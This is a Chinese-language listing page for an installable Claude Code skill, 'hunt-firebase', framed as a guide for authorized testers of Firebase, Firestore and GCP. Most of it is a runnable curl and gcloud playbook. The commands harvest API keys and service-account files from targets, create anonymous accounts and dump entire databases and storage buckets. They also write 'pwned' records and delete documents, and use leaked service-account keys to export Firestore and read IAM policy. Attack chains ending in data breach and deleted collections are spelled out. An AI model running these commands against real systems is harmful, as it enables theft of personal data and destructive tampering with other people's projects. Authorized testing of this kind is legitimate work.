关于 hunt-firebase
面向授权安全测试人员的 Firebase、Firestore 与 GCP 安全审查技能,提供从配置发现到访问控制验证的分阶段检查方法。重点涵盖数据库、存储、身份验证及服务账号暴露,并提示区分公开配置与实际风险。
主要功能
- 01发现 Firebase 配置和项目标识
- 02检查 Firestore 读写规则
- 03探测 Realtime Database 访问权限
- 04检查 Storage 文件访问
- 05验证 Auth 注册与服务账号暴露
- 06提供风险判定和误报提示
适用场景
- 01审查获准测试的网站 Firebase 配置
- 02验证 Firestore 或 Realtime Database 规则
- 03检查 Storage 是否暴露敏感文件
- 04评估泄露的服务账号凭据影响
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-firebase安装后在 Claude Code 中输入/hunt-firebase确认已加载。
详细介绍
HUNT-FIREBASE — Firebase / Firestore / GCP 漏洞利用
皇冠珠宝目标
Firebase 是 Google 的移动端/Web 平台。开发者在客户端中嵌入 API 密钥(Firebase SDK 要求如此)时,往往会忘记配置 Firestore 安全规则或 Realtime Database 规则,导致所有数据都可被公开读取和写入。
价值最高的发现:
- 公开的 Firestore 数据库 — 匿名密钥允许读取/写入所有集合 → 完整导出数据(用户、消息、PII)。严重。
- 公开的 Realtime Database —
{database}.firebaseio.com/.json无需身份验证即可返回所有数据。严重。 - 具有公开读取权限的 Firebase Storage — 存储桶允许匿名列出和下载文件。严重。
- Firebase 开放注册 — 任何人都能创建身份验证账户,然后使用 JWT 访问 Firestore。高危。
- 服务账户 JSON 泄露 — 可完全访问 GCP IAM、Firestore、Storage、Cloud Functions 和 IAM 策略。严重。
- Firebase Hosting 配置泄露 — 托管内容会在静态文件中暴露项目 ID 和 API 密钥。
阶段 1 — 查找 Firebase 项目
可通过以下 API 密钥格式识别 Firebase:AIzaSy[0-9A-Za-z_-]{35}
1.1 在 JS 包中搜索
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js
# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"
# Search for Firebase URLs
grep -rEn 'firebaseio|firestore|firebasestorage|firebaseapp' /tmp/*.js --include="*.js"
# Quick one-liner for any page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
1.2 在源映射文件中搜索
# First find source maps
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
# Extract all source files from maps
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re, os
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
keys = re.findall(r'AIza[0-9A-Za-z_-]{35}', src)
for k in keys:
print(f'FIREBASE_API_KEY: {k}')
urls = re.findall(r'https://[^\"'\"]+firebaseio[^\"'\"]+', src)
for u in urls:
print(f'FIREBASE_URL: {u}')
except: pass
" 2>/dev/null
1.3 在 .env 和配置文件中搜索
# Firebase config often lives in .env
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "FIREBASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "FIREBASE"
# Search in exposed JSON config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/service-account.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/firebase.json" | python3 -m json.tool 2>/dev/null
阶段 2 — Firebase 项目侦察
获取 Firebase API 密钥后(格式:AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX),即可探测该项目。
2.1 识别 Firebase 项目 ID
# The project ID is encoded in the API key or can be found in the authDomain
# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."
# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}'
# Response includes: idToken, localId, refreshToken, expiresIn
# Method 2: Check if a known project ID works
for project in "$TARGET" "${TARGET%.*}" "app-${TARGET%.*}" "${TARGET//./-}"; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$project.firebaseio.com/.json")
[ "$code" != "404" ] && echo "Hit: $project.firebaseio.com (HTTP $code)"
done
# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null
2.2 枚举 Firebase 项目
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."
# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"
# If rules are permissive -> returns all documents
# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"
# Firebase Storage
# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"
# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"
阶段 3 — 利用 Firestore 数据库
Firestore 安全规则控制谁可以读取/写入数据。规则配置错误(读取权限设为 true)时,整个数据库都会公开。
3.1 列出集合(使用匿名密钥)
API_KEY="AIzaSy..."
PROJECT="your-project-id"
# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}')
ID_TOKEN=$(echo "$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")
if [ "$ID_TOKEN" != "NO_TOKEN" ]; then
echo "[+] Anonymous auth token obtained"
# Step 2: List all documents in root collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
docs = d.get('documents', [])
print(f'Documents: {len(docs)}')
for doc in docs[:20]:
path = doc.get('name', '').split('/')[-1]
print(f' Document: {path}')
fields = doc.get('fields', {})
for key, val in fields.items():
val_type = list(val.keys())[0] if val else 'unknown'
val_snippet = str(list(val.values())[0])[:50] if val else ''
print(f' {key}: {val_snippet}')
except Exception as e:
print(f'No data: {e}')
"
else
echo "[-] Cannot obtain anonymous auth token"
fi
3.2 导出所有集合(递归)
# Firestore collection group query — enumerate ALL collections
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:listCollectionIds?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-X POST -d '{}'
# For each collection, dump documents
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/{COLLECTION_NAME}?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# Run collectionGroup query (finds nested collections too)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:runQuery?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"structuredQuery": {"from": [{"collectionId": "*"}]}}'
3.3 测试写入权限
# Try to write a document (only if rules allow)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"fields": {"test": {"stringValue": "pwned"}}}'
# If 200 -> write access confirmed -> CRITICAL
# Try to delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection/TEST_DOC?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# If 200 -> delete access confirmed -> CRITICAL
阶段 4 — 利用 Realtime Database
Firebase Realtime Database 使用不同的 API 路径。
# Read entire database (if rules allow public read)
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?print=pretty"
# With auth token
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"
# Specific path
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/users.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/messages.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/config.json"
# Test write
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://$PROJECT.firebaseio.com/test.json" \
-H "Content-Type: application/json" \
-d '{"pwned": true}'
# Test delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://$PROJECT.firebaseio.com/test.json"
阶段 5 — 利用 Firebase Storage
# List all files in the default storage bucket
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY" | \
python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
items = d.get('items', [])
for item in items:
name = item.get('name', '')
bucket = item.get('bucket', '')
print(f'{bucket}: {name}')
except Exception as e:
print(f'Error: {e}')
"
# Download a specific file
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o/{ENCODED_FILE_PATH}?alt=media&key=$API_KEY" \
-o /tmp/firebase_file
# Upload a file (test write access)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?name=test_pwned.txt&key=$API_KEY" \
-H "Content-Type: text/plain" \
-d "pwned"
阶段 6 — 利用 Firebase Auth
6.1 注册(如果已启用电子邮件/密码身份验证)
# Create an auth account
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"returnSecureToken": true
}'
# If 200 -> anyone can create accounts!
6.2 登录
# Sign in with known credentials
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"returnSecureToken": true
}'
# Extract idToken -> use for Firestore/RTDB/Storage access
ID_TOKEN=$(...)
6.3 列出身份验证提供方
# Check which auth providers are enabled
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"identifier": "[email protected]", "continueUri": "http://localhost"}'
# Response shows: allSignInMethods (password, google.com, facebook.com, etc.)
阶段 7 — 利用服务账户 JSON
如果找到 Firebase/GCP 服务账户 JSON 文件:
# The file looks like:
# {
# "type": "service_account",
# "project_id": "...",
# "private_key_id": "...",
# "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
# "client_email": "[email protected]",
# "client_id": "...",
# "auth_uri": "https://accounts.google.com/o/oauth2/auth",
# "token_uri": "https://oauth2.googleapis.com/token"
# }
# Save it and authenticate with gcloud
echo '{"type": "service_account", ...}' > /tmp/sa-key.json
# Authenticate
gcloud auth activate-service-account --key-file=/tmp/sa-key.json
# List all accessible resources
gcloud projects get-iam-policy $PROJECT_ID
gcloud iam service-accounts list
gcloud firestore databases list
gcloud storage buckets list
gcloud functions list
gcloud run services list
# Firestore read using the service account
gcloud firestore export gs://$BUCKET/export/ # Export entire Firestore
# Access Firestore REST API with JWT
# The service account can generate its own OAuth tokens
OAUTH_TOKEN=$(gcloud auth print-access-token)
# Use token for Firestore API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
-H "Authorization: Bearer $OAUTH_TOKEN"
# IAM exploration
curl --max-time 30 --connect-timeout 10 -sk "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID:getIamPolicy" \
-H "Authorization: Bearer $OAUTH_TOKEN" \
-X POST -H "Content-Type: application/json" -d '{}'
阶段 8 — 攻击链
链 A:JS 中的 API 密钥 -> 匿名身份验证 -> 导出 Firestore 数据
JS bundle contains Firebase API key (AIzaSy...) ->
Sign in anonymously (accounts:signUp) ->
Get ID token ->
List Firestore collections ->
Dump ALL documents -> Data breach
链 B:JS 中的 API 密钥 -> 开放注册 -> 身份验证 -> 写入权限
Firebase config found in JS ->
Email/password signUp enabled (not just anon) ->
Anyone creates accounts ->
Access Firestore with credentials ->
Write malicious data or delete collections
链 C:服务账户 JSON -> GCP 完全访问权限
SA key found in .env or leaked repo ->
gcloud auth activate-service-account ->
Get IAM policy ->
List all resources ->
Export Firestore, access Storage, invoke Cloud Functions
验证严重程度
| 发现 | 严重程度 |
|---|---|
| Firestore 可公开读取(可导出包含 PII 的集合) | 严重 |
| Firestore 可公开写入(可创建/删除文档) | 严重 |
| Realtime Database 可公开读取(可完整导出 .json) | 严重 |
| Firebase Storage 可公开列出/下载 | 高危 |
| 开放注册(任何人都能创建账户) | 高危 |
| 服务账户 JSON 暴露 | 严重 |
| 找到 API 密钥(但无法进一步访问) | 低至中 |
| Firebase Hosting 静态网站暴露 | 信息级 |
| Firebase 项目 ID 暴露(没有密钥) | 信息级 |
常见的 Firebase 发现格式
# Quick test: does the target use Firebase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'firebaseio\.com|firestore\.googleapis|firebaseapp\.com'
# Check Google dorks for Firebase
# site:target.com "firebase"
# site:target.com "AIzaSy" filetype:js
# site:target.com "firebaseConfig"
验证
运行以下自测,确认已准备好进行 Firebase 探查:
-
技能完整性 — 确认技能文件可读取且格式正确:
grep -q "name: hunt-firebase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能已设置类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试可验证技能结构正确且已准备就绪。
易踩问题
- 不含敏感数据的公开 Firebase 配置 — Firebase 配置对象本来就是公开的。只有在数据库/存储可写或包含个人身份信息(PII)时才报告。
- 未进行写入的 Realtime DB 规则测试 — 读取
.json属于侦察。向.json写入数据并确认数据持久化,才能证明配置错误。 - Firestore 公开读取 — 测试
/documents/users中是否包含个人身份信息,而不是/documents/public_config。 - 只能列出存储桶,无法读取对象 — 可列出的存储桶仅供参考。需要能读取包含敏感内容的对象。
- API 密钥权限范围测试 — Firebase API 密钥不是机密,而是标识符。应测试该密钥授予了哪些访问权限,而不只是确认它存在。
评论
支持 Markdown